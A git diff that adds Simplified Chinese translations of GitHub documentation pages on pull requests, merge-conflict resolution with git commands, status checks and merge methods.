+   如果拉取请求的头部分支是受保护分支，则必须创建新分支。 您将无法选择更新受保护分支。
 
-   Click **Create branch and update my pull request** or **I understand, continue updating _BRANCH_**. The button text corresponds to the action you are performing.
-1. To merge your pull request, click **Merge pull request**. For more information about other pull request merge options, see "[Merging a pull request](/articles/merging-a-pull-request/)."
+   单击 **Create branch and update my pull request（创建分支并更新我的拉取请求**或 **I understand, continue updating（我了解，继续更新）_BRANCH（分支）_**。 按钮文本对应于您正在执行的操作。
+1. 要合并拉取请求，请单击 **Merge pull request（合并拉取请求）**。 有关其他拉取请求合并选项的更多信息，请参阅“[合并拉取请求](/articles/merging-a-pull-request/)”。
 
-## Further reading
+## 延伸阅读
 
-- "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)"
+- "[关于拉取请求合并](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)"
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md
index 7354246bea..3393d54ebb 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md
@@ -1,6 +1,6 @@
 ---
-title: Resolving a merge conflict using the command line
-intro: You can resolve merge conflicts using the command line and a text editor.
+title: 使用命令行解决合并冲突
+intro: 您可以使用命令行和文本编辑器解决合并冲突。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line
   - /articles/resolving-a-merge-conflict-from-the-command-line
@@ -14,28 +14,29 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Resolve merge conflicts in Git
+shortTitle: 解决 Git 中的合并冲突
 ---
-Merge conflicts occur when competing changes are made to the same line of a file, or when one person edits a file and another person deletes the same file. For more information, see "[About merge conflicts](/articles/about-merge-conflicts/)."
+
+当对文件的同一行进行竞争更改时，或者当一个人编辑文件而另一个人删除同一文件时，会发生合并冲突。 更多信息请参阅“[关于合并冲突](/articles/about-merge-conflicts/)”。
 
 {% tip %}
 
-**Tip:** You can use the conflict editor on {% data variables.product.product_name %} to resolve competing line change merge conflicts between branches that are part of a pull request. For more information, see "[Resolving a merge conflict on GitHub](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github)."
+**提示：**您可以使用冲突编辑器在 {% data variables.product.product_name %} 上解决作为拉取请求组成部分的各分支之间的竞争行更改合并冲突。 更多信息请参阅“[在 GitHub 上解决合并冲突](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github)”。
 
 {% endtip %}
 
-## Competing line change merge conflicts
+## 竞争行更改合并冲突
 
-To resolve a merge conflict caused by competing line changes, you must choose which changes to incorporate from the different branches in a new commit.
+要解决由竞争行更改导致的合并冲突，您必须从新提交的不同分支中选择要合并的更改。
 
-For example, if you and another person both edited the file _styleguide.md_ on the same lines in different branches of the same Git repository, you'll get a merge conflict error when you try to merge these branches. You must resolve this merge conflict with a new commit before you can merge these branches.
+例如，如果您和另一个人都在同一 Git 仓库不同分支的同一行中编辑了 _styleguide.md_ 文件，则在尝试合并这些分支时会发生合并冲突错误。 必须使用新提交解决这一合并冲突，然后才能合并这些分支。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Navigate into the local Git repository that has the merge conflict.
+2. 导航到有合并冲突的本地 Git 仓库中。
   ```shell
   cd <em>REPOSITORY-NAME</em>
   ```
-3. Generate a list of the files affected by the merge conflict. In this example, the file *styleguide.md* has a merge conflict.
+3. 生成受合并冲突影响的文件列表。 在此例中，文件 *styleguide.md* 存在合并冲突。
   ```shell
   $ git status
   > # On branch branch-b
@@ -49,8 +50,8 @@ For example, if you and another person both edited the file _styleguide.md_ on t
   > #
   > no changes added to commit (use "git add" and/or "git commit -a")
   ```
-4. Open your favorite text editor, such as [Atom](https://atom.io/), and navigate to the file that has merge conflicts.
-5. To see the beginning of the merge conflict in your file, search the file for the conflict marker `<<<<<<<`. When you open the file in your text editor, you'll see the changes from the HEAD or base branch after the line `<<<<<<< HEAD`. Next, you'll see `=======`, which divides your changes from the changes in the other branch, followed by `>>>>>>> BRANCH-NAME`. In this example, one person wrote "open an issue" in the base or HEAD branch and another person wrote "ask your question in IRC" in the compare branch or `branch-a`.
+4. 打开您首选的文本编辑器，例如 [Atom](https://atom.io/)，然后导航到有合并冲突的文件。
+5. 要在文件中查看合并冲突的开头，请在文件中搜索冲突标记 `<<<<<<<`。 当您在文本编辑器中打开文件时，您会在行 `<<<<<<< HEAD` 后看到头部或基础分支。 接下来，您将看到 `=======`，它将您的更改与其他分支中的更改分开，后跟 `>>>>>>> BRANCH-NAME`。 在本例中，一个人在基础或头部分支中编写“open an issue”，而另一个人在比较分支或 `branch-a` 中编写“ask your question in IRC”。
 
     ```
     If you have questions, please
@@ -60,34 +61,34 @@ For example, if you and another person both edited the file _styleguide.md_ on t
     ask your question in IRC.
     >>>>>>> branch-a
     ```
-{% data reusables.pull_requests.decide-how-to-resolve-competing-line-change-merge-conflict %} In this example, both changes are incorporated into the final merge:
+{% data reusables.pull_requests.decide-how-to-resolve-competing-line-change-merge-conflict %} 在本例中，两个更改均整合到最终合并：
 
   ```shell
   If you have questions, please open an issue or ask in our IRC channel if it's more urgent.
   ```
-7. Add or stage your changes.
+7. 添加或暂存您的更改。
   ```shell
   $ git add .
   ```
-8. Commit your changes with a comment.
+8. 提交您的更改及注释。
   ```shell
   $ git commit -m "Resolved merge conflict by incorporating both suggestions."
   ```
 
-You can now merge the branches on the command line or [push your changes to your remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) on {% data variables.product.product_name %} and [merge your changes](/articles/merging-a-pull-request/) in a pull request.
+现在，您可以在命令行上合并分支，或在 {% data variables.product.product_name %} 上 [将更改推送到远程仓库](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)和在拉取请求中[合并更改](/articles/merging-a-pull-request/)。
 
-## Removed file merge conflicts
+## 删除的文件合并冲突
 
-To resolve a merge conflict caused by competing changes to a file, where a person deletes a file in one branch and another person edits the same file, you must choose whether to delete or keep the removed file in a new commit.
+要解决由对文件进行竞争更改而导致的合并冲突，对于一个人删除分支中的文件而另一个人编辑同一文件的情况，您必须选择是删除还是将删除的文件保留在新提交中。
 
-For example, if you edited a file, such as *README.md*, and another person removed the same file in another branch in the same Git repository, you'll get a merge conflict error when you try to merge these branches. You must resolve this merge conflict with a new commit before you can merge these branches.
+例如，如果您编辑一个文件（如 *README.md*），而另一个人在同一 Git 仓库的另一个分支中删除同一文件，当您尝试合并这些分支时将发生合并冲突错误。 必须使用新提交解决这一合并冲突，然后才能合并这些分支。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Navigate into the local Git repository that has the merge conflict.
+2. 导航到有合并冲突的本地 Git 仓库中。
   ```shell
   cd <em>REPOSITORY-NAME</em>
   ```
-2. Generate a list of the files affected by the merge conflict. In this example, the file *README.md* has a merge conflict.
+2. 生成受合并冲突影响的文件列表。 在此例中，文件 *README.md* 存在合并冲突。
   ```shell
   $ git status
   > # On branch main
@@ -100,32 +101,33 @@ For example, if you edited a file, such as *README.md*, and another person remov
   > # Unmerged paths:
   > #  (use "git add/rm <file>..." as appropriate to mark resolution)
   > #
-  > #	deleted by us:   README.md
+  > #   deleted by us:   README.md
   > #
   > # no changes added to commit (use "git add" and/or "git commit -a")
   ```
-3. Open your favorite text editor, such as [Atom](https://atom.io/), and navigate to the file that has merge conflicts.
-6. Decide if you want keep the removed file. You may want to view the latest changes made to the removed file in your text editor.
+3. 打开您首选的文本编辑器，例如 [Atom](https://atom.io/)，然后导航到有合并冲突的文件。
+6. 决定是否要保留删除的文件。 您可能想要在文本编辑器中查看对删除的文件所做的最新更改。
 
- To add the removed file back to your repository:
+ 要将已删除的文件重新添加到仓库：
   ```shell
   $ git add README.md
   ```
- To remove this file from your repository:
+ 要从仓库中删除此文件：
   ```shell
   $ git rm README.md
   > README.md: needs merge
   > rm 'README.md'
   ```
-7. Commit your changes with a comment.
+7. 提交您的更改及注释。
   ```shell
   $ git commit -m "Resolved merge conflict by keeping README.md file."
   > [branch-d 6f89e49] Merge branch 'branch-c' into branch-d
+  > [branch-d 6f89e49] Merge branch 'branch-c' into branch-d
   ```
 
-You can now merge the branches on the command line or [push your changes to your remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) on {% data variables.product.product_name %} and [merge your changes](/articles/merging-a-pull-request/) in a pull request.
+现在，您可以在命令行上合并分支，或在 {% data variables.product.product_name %} 上 [将更改推送到远程仓库](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)和在拉取请求中[合并更改](/articles/merging-a-pull-request/)。
 
-## Further reading
+## 延伸阅读
 
-- "[About merge conflicts](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts)"
-- "[Checking out pull requests locally](/articles/checking-out-pull-requests-locally/)"
+- “[关于合并冲突](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts)”
+- “[本地检出拉取请求](/articles/checking-out-pull-requests-locally/)”
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md
index a578538671..69eeeb7aea 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md
@@ -1,6 +1,6 @@
 ---
-title: About status checks
-intro: Status checks let you know if your commits meet the conditions set for the repository you're contributing to.
+title: 关于状态检查
+intro: 状态检查用于获知您的提交是否符合为您参与的仓库设置的条件。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks
   - /articles/about-statuses
@@ -15,32 +15,33 @@ versions:
 topics:
   - Pull requests
 ---
-Status checks are based on external processes, such as continuous integration builds, which run for each push you make to a repository. You can see the *pending*, *passing*, or *failing* state of status checks next to individual commits in your pull request.
 
-![List of commits and statuses](/assets/images/help/pull_requests/commit-list-statuses.png)
+状态检查基于针对您每次向仓库的推送而运行的外部流程，例如持续集成构建。 您可以在拉取请求的个别提交旁边看到状态检查的*待处理*、*通过*或*失败*状态。
 
-Anyone with write permissions to a repository can set the state for any status check in the repository.
+![提交和状态列表](/assets/images/help/pull_requests/commit-list-statuses.png)
 
-You can see the overall state of the last commit to a branch on your repository's branches page or in your repository's list of pull requests.
+对仓库具有写入权限的任何人都可为仓库中的任何状态检查设置状态。
+
+在仓库的分支页面或仓库的拉取请求列表中，可以查看仓库上次提交的整体状态。
 
 {% data reusables.pull_requests.required-checks-must-pass-to-merge %}
 
-## Types of status checks on {% data variables.product.product_name %}
+## {% data variables.product.product_name %} 上的状态检查类型
 
-There are two types of status checks on {% data variables.product.product_name %}:
+{% data variables.product.product_name %} 上的状态检查有两种类型：
 
-- Checks
-- Statuses
+- 检查
+- 状态
 
 _Checks_ are different from _statuses_ in that they provide line annotations, more detailed messaging, and are only available for use with {% data variables.product.prodname_github_apps %}.
 
-Organization owners and users with push access to a repository can create checks and statuses with {% data variables.product.product_name %}'s API. For more information, see "[Checks](/rest/reference/checks)" and "[Statuses](/rest/reference/repos#statuses)."
+组织所有者和能够推送到仓库的用户可使用 {% data variables.product.product_name %} 的 API 创建检查和状态。 更多信息请参阅“[检查](/rest/reference/checks)”和“[状态](/rest/reference/repos#statuses)”。
 
-## Checks
+## 检查
 
-When _checks_ are set up in a repository, pull requests have a **Checks** tab where you can view detailed build output from status checks and rerun failed checks.
+在仓库中设置_检查_时，拉取请求会有一个 **Checks（检查）**选项卡，从中可以查看状态检查的详细构建输出和重新运行失败的检查。
 
-![Status checks within a pull request](/assets/images/help/pull_requests/checks.png)
+![拉取请求中的状态检查](/assets/images/help/pull_requests/checks.png)
 
 {% note %}
 
@@ -48,28 +49,28 @@ When _checks_ are set up in a repository, pull requests have a **Checks** tab wh
 
 {% endnote %}
 
-When a specific line in a commit causes a check to fail, you will see details about the failure, warning, or notice next to the relevant code in the **Files** tab of the pull request.
+当提交中的特定行造成检查失败时，您会在拉取请求的 **Files（文件）**选项卡中相关代码旁边看到有关失败、警告或通知的详细信息。
 
-![Details of a status check](/assets/images/help/pull_requests/checks-detailed.png)
+![状态检查详细信息](/assets/images/help/pull_requests/checks-detailed.png)
 
-You can navigate between the checks summaries for various commits in a pull request, using the commit drop-down menu under the **Conversation** tab.
+您可以使用 **Conversation（对话）**选项卡下的提交下拉菜单，浏览拉取请求中不同提交的检查摘要。
 
-![Check summaries for different commits in a drop-down menu](/assets/images/help/pull_requests/checks-summary-for-various-commits.png)
+![下拉菜单中不同提交的检查摘要](/assets/images/help/pull_requests/checks-summary-for-various-commits.png)
 
-### Skipping and requesting checks for individual commits
+### 跳过和申请个别提交的检查
 
-When a repository is set to automatically request checks for pushes, you can choose to skip checks for an individual commit you push. When a repository is _not_ set to  automatically request checks for pushes, you can request checks for an individual commit you push. For more information on these settings, see "[Check Suites](/rest/reference/checks#update-repository-preferences-for-check-suites)."
+当仓库设置为自动申请检查推送时，您可以选择跳过所推送的个别提交的检查。 当仓库_未_设置为自动申请检查推送时，您可以申请检查您推送的个别提交。 有关这些设置的更多信息，请参阅“[检查套件](/rest/reference/checks#update-repository-preferences-for-check-suites)”。
 
-To skip or request checks for your commit, add one of the following trailer lines to the end of your commit message:
+要跳过或申请检查提交，请在提交消息末添加以下尾行之一：
 
-- To _skip checks_ for a commit, type your commit message and a short, meaningful description of your changes. After your commit description, before the closing quotation, add two empty lines followed by `skip-checks: true`:
+- 要_跳过检查_提交，请输入提交消息以及简短、有意义的更改描述。 提交说明后，在右引号之前，添加两个空行，后接 `skip-checks: true`：
   ```shell
   $ git commit -m "Update README
   >
   >
   skip-checks: true"
   ```
-- To _request_ checks for a commit, type your commit message and a short, meaningful description of your changes. After your commit description, before the closing quotation, add two empty lines followed by `request-checks: true`:
+- 要_申请检查_提交，请输入提交消息以及简短、有意义的更改描述。 提交说明后，在右引号之前，添加两个空行，后接 `request-checks: true`：
   ```shell
   $ git commit -m "Refactor usability tests
   >
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md
index 04a027d1a8..16e3e2824f 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md
@@ -1,6 +1,6 @@
 ---
-title: Collaborating on repositories with code quality features
-intro: 'Workflow quality features like statuses, {% ifversion ghes %}pre-receive hooks, {% endif %}protected branches, and required status checks help collaborators make contributions that meet conditions set by organization and repository administrators.'
+title: 在具有代码质量功能的仓库上进行协作
+intro: '代码质量功能，例如状态、{% ifversion ghes %}预接收挂钩、{% endif %}受保护分支和必需状态检查，可帮助协作者做出符合组织和仓库管理员设置条件的贡献。'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/collaborating-on-repositories-with-code-quality-features
   - /articles/collaborating-on-repositories-with-code-quality-features-enabled
@@ -16,5 +16,6 @@ topics:
 children:
   - /about-status-checks
   - /working-with-pre-receive-hooks
-shortTitle: Code quality features
+shortTitle: 代码质量功能
 ---
+
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md
index 4edfc60e28..e54bc6bf8d 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md
@@ -1,6 +1,6 @@
 ---
-title: About collaborative development models
-intro: The way you use pull requests depends on the type of development model you use in your project. You can use the fork and pull model or the shared repository model.
+title: 关于协作开发模式
+intro: 使用拉取请求的方式取决于项目中使用的开发模型类型。 您可以使用复刻和拉取模型或共享仓库模型。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/getting-started/about-collaborative-development-models
   - /articles/types-of-collaborative-development-models
@@ -14,24 +14,25 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Collaborative development
+shortTitle: 协作开发
 ---
-## Fork and pull model
 
-In the fork and pull model, anyone can fork an existing repository and push changes to their personal fork. You do not need permission to the source repository to push to a user-owned fork. The changes can be pulled into the source repository by the project maintainer. When you open a pull request proposing changes from your user-owned fork to a branch in the source (upstream) repository, you can allow anyone with push access to the upstream repository to make changes to your pull request.  This model is popular with open source projects as it reduces the amount of friction for new contributors and allows people to work independently without upfront coordination.
+## 复刻和拉取模型
+
+在复刻和拉取模型中，任何人都可以复刻现有仓库并推送对其个人复刻的更改。 不需要对来源仓库的权限即可推送到用户拥有的复刻。 项目维护员可将更改拉入来源仓库。 将提议更改的拉取请求从用户拥有的复刻打开到来源（上游）仓库的分支时，可让对上游仓库具有推送权限的任何人更改您的拉取请求。  此模型常用于开源项目，因为它可减少新贡献者的磨合，让人们独立工作而无需前期协调。
 
 {% tip %}
 
-**Tip:** {% data reusables.open-source.open-source-guide-general %} {% data reusables.open-source.open-source-learning-lab %}
+**提示：** {% data reusables.open-source.open-source-guide-general %} {% data reusables.open-source.open-source-learning-lab %}
 
 {% endtip %}
 
-## Shared repository model
+## 共享仓库模型
 
-In the shared repository model, collaborators are granted push access to a single shared repository and topic branches are created when changes need to be made. Pull requests are useful in this model as they initiate code review and general discussion about a set of changes before the changes are merged into the main development branch. This model is more prevalent with small teams and organizations collaborating on private projects.
+在共享仓库模型中，协作者被授予单一共享仓库的推送权限，需要更改时可创建主题分支。 拉取请求适用于此模型，因为在更改合并到主要开发分支之前，它们会发起代码审查和关于更改的一般讨论。 此模型更多用于协作处理私有项目的小型团队和组织。
 
-## Further reading
+## 延伸阅读
 
-- "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)"
-- "[Creating a pull request from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)"
-- "[Allowing changes to a pull request branch created from a fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork)"
+- "[关于拉取请求](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)"
+- "[从复刻创建拉取请求](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)"
+- "[允许更改创建自复刻的拉取请求分支](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork)"
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md
index 1fef23a997..6c1a5a79b5 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md
@@ -1,7 +1,7 @@
 ---
-title: Getting started
-shortTitle: Getting started
-intro: 'Learn about the {% data variables.product.prodname_dotcom %} flow and different ways to collaborate on and discuss your projects.'
+title: 入门指南
+shortTitle: 入门指南
+intro: '了解 {% data variables.product.prodname_dotcom %} 流程以及协作和讨论项目的不同方式。'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/getting-started
   - /github/collaborating-with-issues-and-pull-requests/overview
@@ -19,3 +19,4 @@ topics:
 children:
   - /about-collaborative-development-models
 ---
+
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md
index cdec1046a8..89a3947f0e 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md
@@ -1,5 +1,5 @@
 ---
-title: About pull request merges
+title: 关于拉取请求合并
 intro: 'You can [merge pull requests](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request) by retaining all the commits in a feature branch, squashing all commits into a single commit, or by rebasing individual commits from the `head` branch onto the `base` branch.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges
@@ -15,46 +15,47 @@ versions:
 topics:
   - Pull requests
 ---
+
 {% data reusables.pull_requests.default_merge_option %}
 
-## Squash and merge your pull request commits
+## 压缩与合并拉取请求提交
 
 {% data reusables.pull_requests.squash_and_merge_summary %}
 
-### Merge message for a squash merge
+### 合并压缩合并的消息
 
-When you squash and merge, {% data variables.product.prodname_dotcom %} generates a commit message which you can change if you want to. The message default depends on whether the pull request contains multiple commits or just one. We do not include merge commits when we count the total number of commits.
+在压缩与合并时，{% data variables.product.prodname_dotcom %} 生成提交消息，您可以根据需要更改该消息。 消息默认值取决于拉取请求是包含多个提交还是只包含一个。 在计算提交总数时，我们不包括合并提交。
 
-Number of commits | Summary | Description |
------------------ | ------- | ----------- |
-One commit | The title of the commit message for the single commit, followed by the pull request number | The body text of the commit message for the single commit
-More than one commit | The pull request title, followed by the pull request number | A list of the commit messages for all of the squashed commits, in date order
+| 提交数  | 摘要                   | 描述                  |
+| ---- | -------------------- | ------------------- |
+| 一个提交 | 单个提交的提交消息标题，后接拉取请求编号 | 单个提交的提交消息正文         |
+| 多个提交 | 拉取请求标题，后接拉取请求编号      | 按日期顺序列出所有被压缩提交的提交消息 |
 
-### Squashing and merging a long-running branch
+### 压缩与合并长运行分支
 
-If you plan to continue work on the [head branch](/github/getting-started-with-github/github-glossary#head-branch) of a pull request after the pull request is merged, we recommend you don't squash and merge the pull request.
+如果计划在合并拉取请求后继续操作[头部分支](/github/getting-started-with-github/github-glossary#head-branch)，建议不要压缩与合并拉取请求。
 
-When you create a pull request, {% data variables.product.prodname_dotcom %} identifies the most recent commit that is on both the head branch and the [base branch](/github/getting-started-with-github/github-glossary#base-branch): the common ancestor commit. When you squash and merge the pull request, {% data variables.product.prodname_dotcom %} creates a commit on the base branch that contains all of the changes you made on the head branch since the common ancestor commit.
+在创建拉取请求时，{% data variables.product.prodname_dotcom %} 会标识头部分支和[基础分支](/github/getting-started-with-github/github-glossary#base-branch)上的最新提交：共同的提交原型。 在压缩与合并拉取请求时，{% data variables.product.prodname_dotcom %} 会在基础分支上创建提交，其中包含自提交原型以来对头部分支所做的所有更改。
 
-Because this commit is only on the base branch and not the head branch, the common ancestor of the two branches remains unchanged. If you continue to work on the head branch, then create a new pull request between the two branches, the pull request will include all of the commits since the common ancestor, including commits that you squashed and merged in the previous pull request. If there are no conflicts, you can safely merge these commits. However, this workflow makes merge conflicts more likely. If you continue to squash and merge pull requests for a long-running head branch, you will have to resolve the same conflicts repeatedly.
+由于此提交仅位于基础分支而不是头部分支上，因此两个分支的共同原型保持不变。 如果您继续使用头部分支，则在两个分支之间创建新的拉取请求，该拉取请求将包含自共同原型以来的所有提交，其中包括你在之前的拉取请求中压缩与合并的提交。 如果没有冲突，您可以安全地合并这些提交。 但是，此工作流会增大合并冲突的可能性。 如果您继续压缩与合并长运行头部分支的拉取请求，则必须反复解决相同的冲突。
 
-## Rebase and merge your pull request commits
+## 变基与合并拉取请求提交
 
 {% data reusables.pull_requests.rebase_and_merge_summary %}
 
-You aren't able to automatically rebase and merge on {% data variables.product.product_location %} when:
-- The pull request has merge conflicts.
-- Rebasing the commits from the base branch into the head branch runs into conflicts.
-- Rebasing the commits is considered "unsafe," such as when a rebase is possible without merge conflicts but would produce a different result than a merge would.
+在以下情况下，您无法在 {% data variables.product.product_location %} 上自动变基与合并：
+- 拉取请求有合并冲突。
+- 将提交从基本分支变基为遇到冲突的头部分支。
+- 变基提交被视为“不安全”，例如变基可行、不会发生冲突但会产生与合并不同的结果时。
 
-If you still want to rebase the commits but can't rebase and merge automatically on {% data variables.product.product_location %} you must:
-- Rebase the topic branch (or head branch) onto the base branch locally on the command line
-- [Resolve any merge conflicts on the command line](/articles/resolving-a-merge-conflict-using-the-command-line/).
-- Force-push the rebased commits to the pull request's topic branch (or remote head branch).
+如果您仍然要变基提交，但不能在 {% data variables.product.product_location %} 上自动变基与合并，则您必须：
+- 在命令行上以本地方式将主题分支（或头部分支）变基为基本分支
+- [解决命令行上的任何冲突](/articles/resolving-a-merge-conflict-using-the-command-line/)。
+- 强制推送变基的命令到拉取请求的主题分支（或远端头部分支）。
 
-Anyone with write permissions in the repository, can then [merge the changes](/articles/merging-a-pull-request/) using the rebase and merge button on {% data variables.product.product_location %}.
+在仓库中具有写入权限的任何人然后可以使用 {% data variables.product.product_location %} 上的变基与合并按钮[合并更改](/articles/merging-a-pull-request/)。
 
-## Further reading
+## 延伸阅读
 
-- "[About pull requests](/articles/about-pull-requests/)"
-- "[Addressing merge conflicts](/github/collaborating-with-pull-requests/addressing-merge-conflicts)"
+- "[关于拉取请求](/articles/about-pull-requests/)"
+- "[解决合并冲突](/github/collaborating-with-pull-requests/addressing-merge-conflicts)"
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md
index 36d4f570c7..83341c2f7c 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md
@@ -1,6 +1,6 @@
 ---
-title: Automatically merging a pull request
-intro: You can increase development velocity by enabling auto-merge for a pull request so that the pull request will merge automatically when all merge requirements are met.
+title: 自动合并拉取请求
+intro: 您可以通过启用拉取请求自动合并（使拉取请求在满足所有合并要求时自动合并）来提高开发速度。
 product: '{% data reusables.gated-features.auto-merge %}'
 versions:
   fpt: '*'
@@ -13,42 +13,38 @@ redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request
   - /github/collaborating-with-issues-and-pull-requests/automatically-merging-a-pull-request
   - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request
-shortTitle: Merge PR automatically
+shortTitle: 自动合并 PR
 ---
-## About auto-merge
 
-If you enable auto-merge for a pull request, the pull request will merge automatically when all required reviews are met and status checks have passed. Auto-merge prevents you from waiting around for requirements to be met, so you can move on to other tasks.
+## 关于自动合并
 
-Before you can use auto-merge with a pull request, auto-merge must be enabled for the repository. For more information, see "[Managing auto-merge for pull requests in your repository](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository)."{% ifversion fpt or ghae or ghes > 3.1 or ghec %}
+如果启用拉取请求自动合并，则拉取请求在满足所有必需审查并且状态检查通过时将自动合并。 自动合并使您无需等待满足要求，可以继续执行其他任务。
 
-After you enable auto-merge for a pull request, if someone who does not have write permissions to the repository pushes new changes to the head branch or switches the base branch of the pull request, auto-merge will be disabled. For example, if a maintainer enables auto-merge for a pull request from a fork, auto-merge will be disabled after a contributor pushes new changes to the pull request.{% endif %}
+在使用拉取请求自动合并之前，必需对仓库启用自动合并。 更多信息请参阅“[管理仓库中的拉取请求自动合并](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository)”。{% ifversion fpt or ghae or ghes > 3.1 or ghec %}
 
-You can provide feedback about auto-merge by [contacting us](https://support.github.com/contact/feedback?category=prs-and-code-review&subject=Pull%20request%20auto-merge%20feedback).
+对拉取请求启用自动合并后，如果没有仓库写入权限的人员将新更改推送到头部分支或切换拉取请求的基础分支，则自动合并将被禁用。 例如，如果维护者允许从复刻自动合并拉取请求，则在贡献者推送对拉取请求的新更改后，自动合并将被禁用。{% endif %}
 
-## Enabling auto-merge
+您可以通过[联系我们](https://support.github.com/contact/feedback?category=prs-and-code-review&subject=Pull%20request%20auto-merge%20feedback)提供关于自动合并的反馈。
+
+## 启用自动合并
 
 {% data reusables.pull_requests.auto-merge-requires-branch-protection %}
 
-People with write permissions to a repository can enable auto-merge for a pull request.
+拥有仓库写入权限的人可启用拉取请求自动合并。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-pr %}
-1. In the "Pull Requests" list, click the pull request you'd like to auto-merge.
-1. Optionally, to choose a merge method, select the **Enable auto-merge** drop-down menu, then click a merge method. For more information, see "[About pull request merges](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges)."
-  !["Enable auto-merge" drop-down menu](/assets/images/help/pull_requests/enable-auto-merge-drop-down.png)
